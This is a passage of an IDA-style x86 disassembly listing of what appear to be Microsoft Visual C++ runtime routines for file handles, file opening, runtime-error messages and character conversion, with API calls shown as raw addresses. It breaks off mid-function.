loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C08 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43D02C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43D02C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2650000h
		push	eax
		nop
		call	near ptr 2720000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DCCA0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DCDA0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DCDA0, 20h
		lea	ecx, ds:4DCCA0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCDA0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A994, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 26404F3h


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DCDA0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A994, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 26404F3h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DCCA0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 26A08B1h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB94C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB948, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DCC80
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DCC80, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC68, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DCC80, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DBC68, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43D0B8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DBC68
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43D338
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43D0C8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43D128
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB988, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DBB30
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DBC40, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB948, 16h
		mov	dword_4DB94C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB950
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB94C, 0
		mov	dword_4DB948, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 273093Bh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 264080Bh
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26809B4h


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 26A08B1h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB94C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C48
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBB38
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427938
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4FC
		push	esi
		push	ebx
		call	near ptr 26306E8h
		nop
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DBB38, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DBA04


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26306E8h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DBA14
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2860000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2860000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2630000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DCDA0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCCA0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DBA04, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43CBD4
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBA14
		call	near ptr 28510F6h
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB948, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DBA04, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C9C8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43CBD4
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBA14
		call	near ptr 2860000h
		nop
		test	eax, eax
		mov	eax, dword_43CBD4
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB948, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBA14
		nop
		call	near ptr 2860000h
